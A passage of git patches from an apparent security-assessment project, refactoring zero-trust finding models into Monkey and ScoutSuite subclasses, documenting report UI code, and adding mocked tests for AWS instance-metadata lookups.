a/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py +++ b/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py @@ -5,7 +5,7 @@ EVENTS = [ { "timestamp": "2021-01-20T15:40:28.357Z", "title": "Process list", - "message": "Monkey on gc-pc-244 scanned the process list", + "message": "Monkey on pc-24 scanned the process list", "event_type": "monkey_local" }, { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/RuleDisplay.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/RuleDisplay.js index ac267e193..dc81ff183 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/RuleDisplay.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/RuleDisplay.js @@ -36,6 +36,8 @@ export default function RuleDisplay(props) {

      References:

      {references}
  • ) + } else { + return null; } } @@ -56,6 +58,8 @@ export default function RuleDisplay(props) {

    Flagged resources ({props.rule.flagged_items}):

    {resources}
    ) + } else { + return null; } } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteDataParser.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteDataParser.js index 9657c0bba..be5599d99 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteDataParser.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteDataParser.js @@ -15,6 +15,12 @@ export default class ScoutSuiteDataParser { return this.getObjectValueByPath(resourcePath, this.runResults); } + /** + * Replaces id's in template path with id's from item path to form actual path to the object + * @param itemPath e.g. s3.buckets.da1e7081077ce92.secure_transport_enabled + * @param templatePath e.g. s3.buckets.id + * @returns {*} e.g. s3.buckets.da1e7081077ce92 + */ fillTemplatePath(itemPath, templatePath) { let itemPathArray = itemPath.split('.'); let templatePathArray = templatePath.split('.'); @@ -42,6 +48,11 @@ export default class ScoutSuiteDataParser { return source; } + /** + * Gets next key from the path + * @param path e.g. s3.buckets.id + * @returns {string|*} s3 + */ getNextKeyInPath(path) { if (path.indexOf('.') !== -1) { return path.substr(0, path.indexOf('.')); From 016d8867813e0a7abf948f42fd96162b026365ce Mon Sep 17 00:00:00 2001 From: Shreya Date: Sat, 6 Feb 2021 19:19:08 +0530 Subject: [PATCH 241/466] Add tests for AwsInstance and change urllib.request.urlopen() to requests.get() for easier testing; functionality doesn't change --- monkey/common/cloud/aws/aws_instance.py | 16 +- monkey/common/cloud/aws/test_aws_instance.py | 260 +++++++++++++++++++ 2 files changed, 266 insertions(+), 10 deletions(-) create mode 100644 monkey/common/cloud/aws/test_aws_instance.py diff --git a/monkey/common/cloud/aws/aws_instance.py b/monkey/common/cloud/aws/aws_instance.py index d75dbdd78..f667f3fb2 100644 --- a/monkey/common/cloud/aws/aws_instance.py +++ b/monkey/common/cloud/aws/aws_instance.py @@ -1,8 +1,7 @@ import json import logging import re -import urllib.error -import urllib.request +import requests from common.cloud.environment_names import Environment from common.cloud.instance import CloudInstance @@ -33,19 +32,16 @@ class AwsInstance(CloudInstance): self.account_id = None try: - self.instance_id = urllib.request.urlopen( - AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read().decode() + self.instance_id = requests.get(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).text self.region = self._parse_region( - urllib.request.urlopen( - AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read().decode()) - except (urllib.error.URLError, IOError) as e: + requests.get(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').text) + except (requests.RequestException, IOError) as e: logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e)) try: self.account_id = self._extract_account_id( - urllib.request.urlopen( - AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read().decode()) - except (urllib.error.URLError, json.decoder.JSONDecodeError, IOError) as e: + requests.get(AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).text) + except (requests.RequestException, json.decoder.JSONDecodeError, IOError) as e: logger.debug("Failed init of AwsInstance while getting dynamic instance data: {}".format(e)) @staticmethod diff --git a/monkey/common/cloud/aws/test_aws_instance.py b/monkey/common/cloud/aws/test_aws_instance.py new file mode 100644 index 000000000..d458e11a8 --- /dev/null +++ b/monkey/common/cloud/aws/test_aws_instance.py @@ -0,0 +1,260 @@ +import json + +import pytest +import requests +import requests_mock + +from common.cloud.aws.aws_instance import (AWS_LATEST_METADATA_URI_PREFIX, + AwsInstance) +from common.cloud.environment_names import Environment + + +INSTANCE_ID_RESPONSE = 'i-1234567890abcdef0' + +AVAILABILITY_ZONE_RESPONSE = 'us-west-2b' + +# from https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html +INSTANCE_IDENTITY_DOCUMENT_RESPONSE = """ +{ + "devpayProductCodes": null, + "marketplaceProductCodes": ["1abc2defghijklm3nopqrs4tu"], + "availabilityZone": "us-west-2b", + "privateIp": "10.158.112.84", + "version": "2017-09-30", + "instanceId": "i-1234567890abcdef0", + "billingProducts": null, + "instanceType": "t2.micro", + "accountId": "123456789012", + "imageId": "ami-5fb8c835", + "pendingTime": "2016-11-19T16:32:11Z", + "architecture": "x86_64", + "kernelId": null, + "ramdiskId": null, + "region": "us-west-2" +} +""" + + +EXPECTED_INSTANCE_ID = 'i-1234567890abcdef0' + +EXPECTED_REGION = 'us-west-2' + +EXPECTED_ACCOUNT_ID = '123456789012' + + +def get_test_aws_instance(text={'instance_id': None, + 'region': None, + 'account_id': None}, + exception={'instance_id': None, + 'region': None, + 'account_id': None}): + with requests_mock.Mocker() as m: + # request made to get instance_id + url = f'{AWS_LATEST_METADATA_URI_PREFIX}meta-data/instance-id' + m.get(url, text=text['instance_id']) if text['instance_id'] else m.get( + url, exc=exception['instance_id']) + + # request made to get region + url = f'{AWS_LATEST_METADATA_URI_PREFIX}meta-data/placement/availability-zone' + m.get(url, text=text['region']) if text['region'] else m.get( + url, exc=exception['region']) + + # request made to get account_id + url = f'{AWS_LATEST_METADATA_URI_PREFIX}dynamic/instance-identity/document' + m.get(url, text=text['account_id']) if text['account_id'] else m.get( + url, exc=exception['account_id']) + + test_aws_instance_object = AwsInstance() + return test_aws_instance_object + + +# all good data +@pytest.fixture +def good_data_mock_instance(): + return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE, + 'region': AVAILABILITY_ZONE_RESPONSE, + 'account_id': INSTANCE_IDENTITY_DOCUMENT_RESPONSE}) + + +def test_is_instance_good_data(good_data_mock_instance): + assert good_data_mock_instance.is_instance() + + +def test_get_cloud_provider_name_good_data(good_data_mock_instance): + assert good_data_mock_instance.get_cloud_provider_name() == Environment.AWS + + +def test_get_instance_id_good_data(good_data_mock_instance): + assert good_data_mock_instance.get_instance_id() == EXPECTED_INSTANCE_ID + + +def test_get_region_good_data(good_data_mock_instance): + assert good_data_mock_instance.get_region() == EXPECTED_REGION + + +def test_get_account_id_good_data(good_data_mock_instance): + assert good_data_mock_instance.get_account_id() == EXPECTED_ACCOUNT_ID + + +# 'region' bad data +@pytest.fixture +def bad_data_mock_instance_1(): + return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE, + 'region': 'in-a-different-world', + 'account_id': INSTANCE_IDENTITY_DOCUMENT_RESPONSE}) + + +def test_is_instance_bad_data_1(bad_data_mock_instance_1): + assert bad_data_mock_instance_1.is_instance() + + +def test_get_cloud_provider_name_bad_data_1(bad_data_mock_instance_1): + assert bad_data_mock_instance_1.get_cloud_provider_name() == Environment.AWS + + +def test_get_instance_id_bad_data_1(bad_data_mock_instance_1): + assert bad_data_mock_instance_1.get_instance_id() == EXPECTED_INSTANCE_ID + + +def test_get_region_bad_data_1(bad_data_mock_instance_1): + assert bad_data_mock_instance_1.get_region() is None + + +def test_get_account_id_bad_data_1(bad_data_mock_instance_1): + assert bad_data_mock_instance_1.get_account_id() == EXPECTED_ACCOUNT_ID + + +# 'account_id' bad data +@pytest.fixture +def bad_data_mock_instance_2(): + return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE, + 'region': AVAILABILITY_ZONE_RESPONSE, + 'account_id': 'who-am-i'}) + + +def test_is_instance_bad_data_2(bad_data_mock_instance_2): + assert bad_data_mock_instance_2.is_instance() + + +def test_get_cloud_provider_name_bad_data_2(bad_data_mock_instance_2): + assert bad_data_mock_instance_2.get_cloud_provider_name() == Environment.AWS + + +def test_get_instance_id_bad_data_2(bad_data_mock_instance_2): + assert bad_data_mock_instance_2.get_instance_id() == EXPECTED_INSTANCE_ID + + +def test_get_region_bad_data_2(bad_data_mock_instance_2): + assert bad_data_mock_instance_2.get_region() == EXPECTED_REGION + + +def test_get_account_id_bad_data_2(bad_data_mock_instance_2): + assert bad_data_mock_instance_2.get_account_id() is None + + +# 'instance_id' bad requests +@pytest.fixture +def bad_request_mock_instance_1(instance_id_exception): + return get_test_aws_instance(text={'instance_id': None, + 'region': AVAILABILITY_ZONE_RESPONSE, + 'account_id': INSTANCE_IDENTITY_DOCUMENT_RESPONSE}, + exception={'instance_id': instance_id_exception, + 'region': None, + 'account_id': None}) + + +@pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError]) +def test_is_instance_bad_request_1(bad_request_mock_instance_1): + assert bad_request_mock_instance_1.is_instance() is False + + +@pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError]) +def test_get_cloud_provider_name_bad_request_1(bad_request_mock_instance_1): + assert bad_request_mock_instance_1.get_cloud_provider_name() == Environment.AWS + + +@pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError]) +def test_get_instance_id_bad_request_1(bad_request_mock_instance_1): + assert bad_request_mock_instance_1.get_instance_id() is None + + +@pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError]) +def test_get_region_bad_request_1(bad_request_mock_instance_1): + assert bad_request_mock_instance_1.get_region() is None + + +@pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError]) +def test_get_account_id_bad_request_1(bad_request_mock_instance_1): + assert bad_request_mock_instance_1.get_account_id() == EXPECTED_ACCOUNT_ID + + +# 'region' bad requests +@pytest.fixture +def bad_request_mock_instance_2(region_exception): + return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE, + 'region': None, + 'account_id': INSTANCE_IDENTITY_DOCUMENT_RESPONSE}, + exception={'instance_id': None, + 'region': region_exception, + 'account_id': None}) + + +@pytest.mark.parametrize('region_exception', [requests.RequestException, IOError]) +def test_is_instance_bad_request_2(bad_request_mock_instance_2): + assert bad_request_mock_instance_2.is_instance() + + +@pytest.mark.parametrize('region_exception', [requests.RequestException, IOError]) +def test_get_cloud_provider_name_bad_request_2(bad_request_mock_instance_2): + assert bad_request_mock_instance_2.get_cloud_provider_name() == Environment.AWS + + +@pytest.mark.parametrize('region_exception', [requests.RequestException, IOError]) +def test_get_instance_id_bad_request_2(bad_request_mock_instance_2): + assert bad_request_mock_instance_2.get_instance_id() == EXPECTED_INSTANCE_ID + + +@pytest.mark.parametrize('region_exception', [requests.RequestException, IOError]) +def test_get_region_bad_request_2(bad_request_mock_instance_2): + assert bad_request_mock_instance_2.get_region() is None + + +@pytest.mark.parametrize('region_exception', [requests.RequestException, IOError]) +def test_get_account_id_bad_request_2(bad_request_mock_instance_2): + assert bad_request_mock_instance_2.get_account_id() == EXPECTED_ACCOUNT_ID + + +# 'account_id' bad requests +@pytest.fixture +def bad_request_mock_instance_3(account_id_exception): + return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE, + 'region': AVAILABILITY_ZONE_RESPONSE, + 'account_id': None}, + exception={'instance_id': None, + 'region': None, + 'account_id': account_id_exception}) + + +@pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError]) +def test_is_instance_bad_request_3(bad_request_mock_instance_3): + assert bad_request_mock_instance_3.is_instance() + + +@pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError]) +def test_get_cloud_provider_name_bad_request_3(bad_request_mock_instance_3): + assert bad_request_mock_instance_3.get_cloud_provider_name() == Environment.AWS + + +@pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError]) +def test_get_instance_id_bad_request_3(bad_request_mock_instance_3): + assert bad_request_mock_instance_3.get_instance_id() == EXPECTED_INSTANCE_ID + + +@pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError]) +def test_get_region_bad_request_3(bad_request_mock_instance_3): + assert bad_request_mock_instance_3.get_region() == EXPECTED_REGION + + +@pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError]) +def test_get_account_id_bad_request_3(bad_request_mock_instance_3): + assert bad_request_mock_instance_3.get_account_id() is None From 80e743557256a2a7e49347a5d24e918acacb28fb Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 8 Feb 2021 17:38:45 +0200 Subject: [PATCH 242/466] Refactored Finding DTO into ScoutSuiteFinding and MonkeyFinding DTO which inherit from more abstract Finding. --- .../common/common_consts/zero_trust_consts.py | 4 -- .../cc/models/zero_trust/finding.py | 40 +++++------------- .../cc/models/zero_trust/monkey_finding.py | 18 ++++++++ .../models/zero_trust/scoutsuite_finding.py | 18 ++++++++ ...test_finding.py => test_monkey_finding.py} | 25 +++++------ .../zero_trust/test_scoutsuite_finding.py | 41 +++++++++++++++++++ .../resources/zero_trust/zero_trust_report.py | 2 +- .../monkey_zt_finding_service.py | 12 +++--- .../test_monkey_zt_finding_service.py | 3 +- .../scoutsuite_zt_finding_service.py | 16 ++++---- .../test_scoutsuite_zt_finding_service.py | 9 ++-- .../zero_trust/test_common/finding_data.py | 20 ++++----- .../zero_trust_report/finding_service.py | 18 ++++---- .../zero_trust_report/pillar_service.py | 6 +-- .../zero_trust_report/test_finding_service.py | 9 ++-- .../zerotrust/FindingsTable.js | 4 +- 16 files changed, 150 insertions(+), 95 deletions(-) create mode 100644 monkey/monkey_island/cc/models/zero_trust/monkey_finding.py create mode 100644 monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py rename monkey/monkey_island/cc/models/zero_trust/{test_finding.py => test_monkey_finding.py} (56%) create mode 100644 monkey/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py diff --git a/monkey/common/common_consts/zero_trust_consts.py b/monkey/common/common_consts/zero_trust_consts.py index 3d3602b80..f0a624bdf 100644 --- a/monkey/common/common_consts/zero_trust_consts.py +++ b/monkey/common/common_consts/zero_trust_consts.py @@ -22,10 +22,6 @@ STATUS_FAILED = "Failed" # Don't change order! The statuses are ordered by importance/severity. ORDERED_TEST_STATUSES = [STATUS_FAILED, STATUS_VERIFY, STATUS_PASSED, STATUS_UNEXECUTED] -MONKEY_FINDING = "monkey_finding" -SCOUTSUITE_FINDING = "scoutsuite_finding" -FINDING_TYPES = [MONKEY_FINDING, SCOUTSUITE_FINDING] - TEST_DATA_ENDPOINT_ELASTIC = "unencrypted_data_endpoint_elastic" TEST_DATA_ENDPOINT_HTTP = "unencrypted_data_endpoint_http" TEST_MACHINE_EXPLOITED = "machine_exploited" diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py index b9aefb42a..4d108ddde 100644 --- a/monkey/monkey_island/cc/models/zero_trust/finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/finding.py @@ -4,7 +4,8 @@ Define a Document Schema for Zero Trust findings. """ from __future__ import annotations -from typing import Union + +import abc from mongoengine import Document, GenericLazyReferenceField, StringField @@ -12,7 +13,6 @@ import common.common_consts.zero_trust_consts as zero_trust_consts # Dummy import for mongoengine. # noinspection PyUnresolvedReferences from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails -from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails class Finding(Document): @@ -33,39 +33,21 @@ class Finding(Document): * The logic section defines complex questions we can ask about a single document which are asked multiple times, or complex action we will perform - somewhat like an API. """ - # SCHEMA - test = StringField(required=True, choices=zero_trust_consts.TESTS) - status = StringField(required=True, choices=zero_trust_consts.ORDERED_TEST_STATUSES) - finding_type = StringField(required=True, choices=zero_trust_consts.FINDING_TYPES) - - # Details are in a separate document in order to discourage pulling them when not needed - # due to performance. - details = GenericLazyReferenceField(choices=[MonkeyFindingDetails, ScoutSuiteFindingDetails], required=True) # http://docs.mongoengine.org/guide/defining-documents.html#document-inheritance meta = {'allow_inheritance': True} - # LOGIC - def get_test_explanation(self): - return zero_trust_consts.TESTS_MAP[self.test][zero_trust_consts.TEST_EXPLANATION_KEY] + # SCHEMA + test = StringField(required=True, choices=zero_trust_consts.TESTS) + status = StringField(required=True, choices=zero_trust_consts.ORDERED_TEST_STATUSES) - def get_pillars(self): - return zero_trust_consts.TESTS_MAP[self.test][zero_trust_consts.PILLARS_KEY] + # Details are in a separate document in order to discourage pulling them when not needed + # due to performance. + details = GenericLazyReferenceField(required=True) # Creation methods @staticmethod + @abc.abstractmethod def save_finding(test: str, status: str, - detail_ref: Union[MonkeyFindingDetails, ScoutSuiteFindingDetails]) -> Finding: - finding = Finding(test=test, - status=status, - details=detail_ref, - finding_type=Finding._get_finding_type_by_details(detail_ref)) - finding.save() - return finding - - @staticmethod - def _get_finding_type_by_details(details: Union[MonkeyFindingDetails, ScoutSuiteFindingDetails]) -> str: - if type(details) == MonkeyFindingDetails: - return zero_trust_consts.MONKEY_FINDING - else: - return zero_trust_consts.SCOUTSUITE_FINDING + detail_ref) -> Finding: + pass diff --git a/monkey/monkey_island/cc/models/zero_trust/monkey_finding.py b/monkey/monkey_island/cc/models/zero_trust/monkey_finding.py new file mode 100644 index 000000000..e063ea5c1 --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/monkey_finding.py @@ -0,0 +1,18 @@ +from mongoengine import LazyReferenceField + +from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails + + +class MonkeyFinding(Finding): + details = LazyReferenceField(MonkeyFindingDetails, required=True) + + @staticmethod + def save_finding(test: str, + status: str, + detail_ref: MonkeyFindingDetails) -> Finding: + monkey_finding = MonkeyFinding(test=test, + status=status, + details=detail_ref) + monkey_finding.save() + return monkey_finding diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py new file mode 100644 index 000000000..8adeef2e9 --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py @@ -0,0 +1,18 @@ +from mongoengine import LazyReferenceField + +from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails + + +class ScoutSuiteFinding(Finding): + details = LazyReferenceField(ScoutSuiteFindingDetails, required=True) + + @staticmethod + def save_finding(test: str, + status: str, + detail_ref: ScoutSuiteFindingDetails) -> Finding: + scoutsuite_finding = ScoutSuiteFinding(test=test, + status=status, + details=detail_ref) + scoutsuite_finding.save() + return scoutsuite_finding diff --git a/monkey/monkey_island/cc/models/zero_trust/test_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_monkey_finding.py similarity index 56% rename from monkey/monkey_island/cc/models/zero_trust/test_finding.py rename to monkey/monkey_island/cc/models/zero_trust/test_monkey_finding.py index 4df4b7bab..56a4066e1 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_monkey_finding.py @@ -4,29 +4,22 @@ from mongoengine import ValidationError import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails -from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails from monkey_island.cc.test_common.fixtures import FixtureEnum MONKEY_FINDING_DETAIL_MOCK = MonkeyFindingDetails() MONKEY_FINDING_DETAIL_MOCK.events = ['mock1', 'mock2'] -SCOUTSUITE_FINDING_DETAIL_MOCK = ScoutSuiteFindingDetails() -SCOUTSUITE_FINDING_DETAIL_MOCK.scoutsuite_rules = [] -class TestFinding: +class TestMonkeyFinding: @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_save_finding_validation(self): with pytest.raises(ValidationError): - _ = Finding.save_finding(test="bla bla", - status=zero_trust_consts.STATUS_FAILED, - detail_ref=MONKEY_FINDING_DETAIL_MOCK) - - with pytest.raises(ValidationError): - _ = Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, - status="bla bla", - detail_ref=SCOUTSUITE_FINDING_DETAIL_MOCK) + _ = MonkeyFinding.save_finding(test="bla bla", + status=zero_trust_consts.STATUS_FAILED, + detail_ref=MONKEY_FINDING_DETAIL_MOCK) @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_save_finding_sanity(self): @@ -37,8 +30,10 @@ class TestFinding: monkey_details_example = MonkeyFindingDetails() monkey_details_example.events.append(event_example) monkey_details_example.save() - Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, - status=zero_trust_consts.STATUS_FAILED, detail_ref=monkey_details_example) + MonkeyFinding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, + status=zero_trust_consts.STATUS_FAILED, + detail_ref=monkey_details_example) - assert len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 1 + assert len(MonkeyFinding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 1 + assert len(MonkeyFinding.objects(status=zero_trust_consts.STATUS_FAILED)) == 1 assert len(Finding.objects(status=zero_trust_consts.STATUS_FAILED)) == 1 diff --git a/monkey/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py new file mode 100644 index 000000000..723b428ff --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py @@ -0,0 +1,41 @@ +import pytest +from mongoengine import ValidationError + +import common.common_consts.zero_trust_consts as zero_trust_consts +from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails +from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding +from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails +from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import RULES +from monkey_island.cc.test_common.fixtures import FixtureEnum + +MONKEY_FINDING_DETAIL_MOCK = MonkeyFindingDetails() +MONKEY_FINDING_DETAIL_MOCK.events = ['mock1', 'mock2'] +SCOUTSUITE_FINDING_DETAIL_MOCK = ScoutSuiteFindingDetails() +SCOUTSUITE_FINDING_DETAIL_MOCK.scoutsuite_rules = [] + + +class TestScoutSuiteFinding: + + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + def test_save_finding_validation(self): + with pytest.raises(ValidationError): + _ = ScoutSuiteFinding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, + status="bla bla", + detail_ref=SCOUTSUITE_FINDING_DETAIL_MOCK) + + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + def test_save_finding_sanity(self): + assert len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 0 + + rule_example = RULES[0] + scoutsuite_details_example = ScoutSuiteFindingDetails() + scoutsuite_details_example.scoutsuite_rules.append(rule_example) + scoutsuite_details_example.save() + ScoutSuiteFinding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, + status=zero_trust_consts.STATUS_FAILED, + detail_ref=scoutsuite_details_example) + + assert len(ScoutSuiteFinding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 1 + assert len(ScoutSuiteFinding.objects(status=zero_trust_consts.STATUS_FAILED)) == 1 + assert len(Finding.objects(status=zero_trust_consts.STATUS_FAILED)) == 1 diff --git a/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py b/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py index a69ea50c0..433bf4631 100644 --- a/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py +++ b/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py @@ -24,7 +24,7 @@ class ZeroTrustReport(flask_restful.Resource): elif report_data == REPORT_DATA_PRINCIPLES_STATUS: return jsonify(PrincipleService.get_principles_status()) elif report_data == REPORT_DATA_FINDINGS: - return jsonify(FindingService.get_all_findings()) + return jsonify(FindingService.get_all_findings_for_ui()) elif report_data == REPORT_DATA_SCOUTSUITE: # Raw ScoutSuite data is already solved as json, no need to jsonify return Response(ScoutSuiteRawDataService.get_scoutsuite_data_json(), diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py index 7ed184559..72e9f7861 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py @@ -4,14 +4,14 @@ from bson import ObjectId from common.common_consts import zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails class MonkeyZTFindingService: @staticmethod - def create_or_add_to_existing(test: str, status: str, events: str): + def create_or_add_to_existing(test: str, status: str, events: List[Event]): """ Create a new finding or add the events to an existing one if it's the same (same meaning same status and same test). @@ -19,7 +19,7 @@ class MonkeyZTFindingService: :raises: Assertion error if this is used when there's more then one finding which fits the query - this is not when this function should be used. """ - existing_findings = Finding.objects(test=test, status=status) + existing_findings = MonkeyFinding.objects(test=test, status=status) assert (len(existing_findings) < 2), "More than one finding exists for {}:{}".format(test, status) if len(existing_findings) == 0: @@ -33,15 +33,15 @@ class MonkeyZTFindingService: details = MonkeyFindingDetails() details.events = events details.save() - Finding.save_finding(test, status, details) + MonkeyFinding.save_finding(test, status, details) @staticmethod - def add_events(finding: Finding, events: List[Event]): + def add_events(finding: MonkeyFinding, events: List[Event]): finding.details.fetch().add_events(events).save() @staticmethod def get_events_by_finding(finding_id: str) -> List[object]: - finding = Finding.objects.get(id=finding_id) + finding = MonkeyFinding.objects.get(id=finding_id) pipeline = [{'$match': {'_id': ObjectId(finding.details.id)}}, {'$unwind': '$events'}, {'$project': {'events': '$events'}}, diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py index c3db9ea39..80df71786 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py @@ -5,6 +5,7 @@ import pytest from common.common_consts import zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService from monkey_island.cc.test_common.fixtures import FixtureEnum @@ -67,4 +68,4 @@ class TestMonkeyZTFindingService: # Create new finding MonkeyZTFindingService.create_or_add_to_existing(test=TESTS[1], status=STATUS[1], events=[EVENTS[1]]) # Assert there was a new finding created, because test and status is different - assert len(Finding.objects()) == 2 + assert len(MonkeyFinding.objects()) == 2 diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py index 27b1b82b3..63befc808 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py @@ -1,18 +1,18 @@ from typing import List from common.common_consts import zero_trust_consts -from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule -from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_findings import ScoutSuiteFinding +from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import ScoutSuiteFindingMap from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ScoutSuiteRuleService class ScoutSuiteZTFindingService: @staticmethod - def process_rule(finding: ScoutSuiteFinding, rule: ScoutSuiteRule): - existing_findings = Finding.objects(test=finding.test, finding_type=zero_trust_consts.SCOUTSUITE_FINDING) + def process_rule(finding: ScoutSuiteFindingMap, rule: ScoutSuiteRule): + existing_findings = ScoutSuiteFinding.objects(test=finding.test) assert (len(existing_findings) < 2), "More than one finding exists for {}".format(finding.test) if len(existing_findings) == 0: @@ -21,12 +21,12 @@ class ScoutSuiteZTFindingService: ScoutSuiteZTFindingService.add_rule(existing_findings[0], rule) @staticmethod - def _create_new_finding_from_rule(finding: ScoutSuiteFinding, rule: ScoutSuiteRule): + def _create_new_finding_from_rule(finding: ScoutSuiteFindingMap, rule: ScoutSuiteRule): details = ScoutSuiteFindingDetails() details.scoutsuite_rules = [rule] details.save() status = 